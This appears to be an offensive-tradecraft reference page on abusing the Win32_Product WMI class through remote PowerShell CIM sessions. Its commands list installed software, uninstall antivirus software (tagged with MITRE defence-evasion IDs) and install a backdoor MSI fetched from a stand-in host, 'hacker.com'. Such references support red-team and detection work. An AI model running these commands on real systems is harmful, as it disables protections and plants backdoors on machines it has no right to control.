.. / Win32_Product

Represent products as they are installed by MSI

• https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3#execute-command-lines

Manage

List installed software

Get-CimInstance -ClassName Win32_Product -CimSession $s | Select-Object Caption,Vendor,Version,InstallLocation

• Create CimSession $s using New-CimSession
• Namespace: ROOT\Cimv2

Uninstall software

Get-CimInstance Win32_Product -Filter 'Caption="Antivirus Software caption"' -CimSession $s | Remove-CimInstance

• Create CimSession $s using New-CimSession
• Namespace: ROOT\Cimv2

• T1218.007
• T1562.001

Execute

Install software

Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation="https://hacker.com/backdoor.msi"; Options=""; AllUsers=$true} -CimSession $s

• Create CimSession $s using New-CimSession
• Namespace: ROOT\Cimv2
• .msi file needs to be available on the target host